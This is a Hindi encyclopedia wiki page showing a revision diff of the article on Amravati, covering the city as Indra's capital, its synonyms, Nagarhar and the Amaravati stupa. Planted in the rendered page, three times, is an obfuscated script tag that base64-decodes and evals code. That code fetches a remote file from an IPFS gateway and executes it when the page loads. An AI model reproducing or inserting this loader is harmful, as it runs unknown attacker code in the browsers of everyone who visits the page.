"अमरावती" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
 
{{बहुविकल्प|बहुविकल्पी शब्द=अमरावती|लेख का नाम=अमरावती (बहुविकल्पी)}}
 
{{बहुविकल्प|बहुविकल्पी शब्द=अमरावती|लेख का नाम=अमरावती (बहुविकल्पी)}}
*अमरावती [[महाराष्ट्र]] प्रान्त का एक शहर है। यह [[इन्द्र]] देवता की नगरी के रूप में विख्यात है।
+
अमरावती [[महाराष्ट्र]] प्रान्त का एक शहर है। यह [[इन्द्र]] देवता की नगरी के रूप में विख्यात है। जिस नगरी में [[देवता]] लोग रहते हैं। इसे इन्द्रपुरी भी कहते हैं। इसके पर्याय हैं-  
*जिस नगरी में [[देवता]] लोग रहते हैं। इसे इन्द्रपुरी भी कहते हैं। इसके पर्याय हैं-  
+
#पूषभासा
#पूषभासा,
+
#देवपू:  
#देवपू:,
+
#महेन्द्रनगरी  
#महेन्द्रनगरी,
 
 
#अमरा और  
 
#अमरा और  
#सुरपुरी ।
+
#सुरपुरी।
*सीमान्त प्रदेश  (पाकिस्तान) में [[जलालाबाद]] से दो मील पश्चिम नगरहार है। [[फ़ाह्यान]] इसको 'नेकिये-लोहो' कहता है । [[पालि भाषा|पालि]] साहित्य की अमरावती यही है ।
+
*सीमान्त प्रदेश  (पाकिस्तान) में [[जलालाबाद]] से दो मील पश्चिम नगरहार है। [[फ़ाह्यान]] इसको 'नेकिये-लोहो' कहता है। [[पालि भाषा|पालि]] साहित्य की अमरावती यही है।
*कोण्डण्ण [[बुद्ध]] के समय में यह नगर अठारह '[[ली]]' विस्तृत था । यहीं पर उनका प्रथम उपदेश हुआ था।  
+
*कोण्डण्ण [[बुद्ध]] के समय में यह नगर अठारह '[[ली]]' विस्तृत था। यहीं पर उनका प्रथम उपदेश हुआ था।  
*अमरावती नामक स्तूप, जो दक्षिण [[भारत]] के कृष्णा ज़िले में बेजवाड़ा से पश्चिम और [[धरणीकोटा]] के दक्षिण कृष्णा के दक्षिण तट पर स्थित है । [[हुएन-सांग]] का पूर्व शैल संघाराम यही है । यह स्तूप 370-380 ई. में आन्ध्रभृत्य राजाओं द्वारा निर्मित हुआ था ।  <ref>जर्नल ऑफ रायल एशियाटिक सोसायटी, जिल्द 3,पृ., 132 ।</ref>
+
*अमरावती नामक स्तूप, जो दक्षिण [[भारत]] के कृष्णा ज़िले में बेजवाड़ा से पश्चिम और [[धरणीकोटा]] के दक्षिण कृष्णा के दक्षिण तट पर स्थित है। [[हुएन-सांग]] का पूर्व शैल संघाराम यही है। यह स्तूप 370-380 ई. में आन्ध्रभृत्य राजाओं द्वारा निर्मित हुआ था।<ref>जर्नल ऑफ रायल एशियाटिक सोसायटी, जिल्द 3,पृ., 132 ।</ref>
{{प्रचार}}
+
 
 
{{लेख प्रगति  
 
{{लेख प्रगति  
 
|आधार=
 
|आधार=
पंक्ति 18: पंक्ति 17:
 
|शोध=
 
|शोध=
 
}}
 
}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
पंक्ति 25: पंक्ति 22:
 
{{महाराष्ट्र के पर्यटन स्थल}}
 
{{महाराष्ट्र के पर्यटन स्थल}}
 
{{महाराष्ट्र के नगर}}
 
{{महाराष्ट्र के नगर}}
 +
 
[[Category:महाराष्ट्र]]
 
[[Category:महाराष्ट्र]]
 
[[Category:महाराष्ट्र के नगर]]
 
[[Category:महाराष्ट्र के नगर]]

11:26, 3 मई 2018 का अवतरण

Disamb2.jpg अमरावती एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- अमरावती (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अमरावती महाराष्ट्र प्रान्त का एक शहर है। यह इन्द्र देवता की नगरी के रूप में विख्यात है। जिस नगरी में देवता लोग रहते हैं। इसे इन्द्रपुरी भी कहते हैं। इसके पर्याय हैं-

  1. पूषभासा
  2. देवपू:
  3. महेन्द्रनगरी
  4. अमरा और
  5. सुरपुरी।
  • सीमान्त प्रदेश (पाकिस्तान) में जलालाबाद से दो मील पश्चिम नगरहार है। फ़ाह्यान इसको 'नेकिये-लोहो' कहता है। पालि साहित्य की अमरावती यही है।
  • कोण्डण्ण बुद्ध के समय में यह नगर अठारह 'ली' विस्तृत था। यहीं पर उनका प्रथम उपदेश हुआ था।
  • अमरावती नामक स्तूप, जो दक्षिण भारत के कृष्णा ज़िले में बेजवाड़ा से पश्चिम और धरणीकोटा के दक्षिण कृष्णा के दक्षिण तट पर स्थित है। हुएन-सांग का पूर्व शैल संघाराम यही है। यह स्तूप 370-380 ई. में आन्ध्रभृत्य राजाओं द्वारा निर्मित हुआ था।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. जर्नल ऑफ रायल एशियाटिक सोसायटी, जिल्द 3,पृ., 132 ।

संबंधित लेख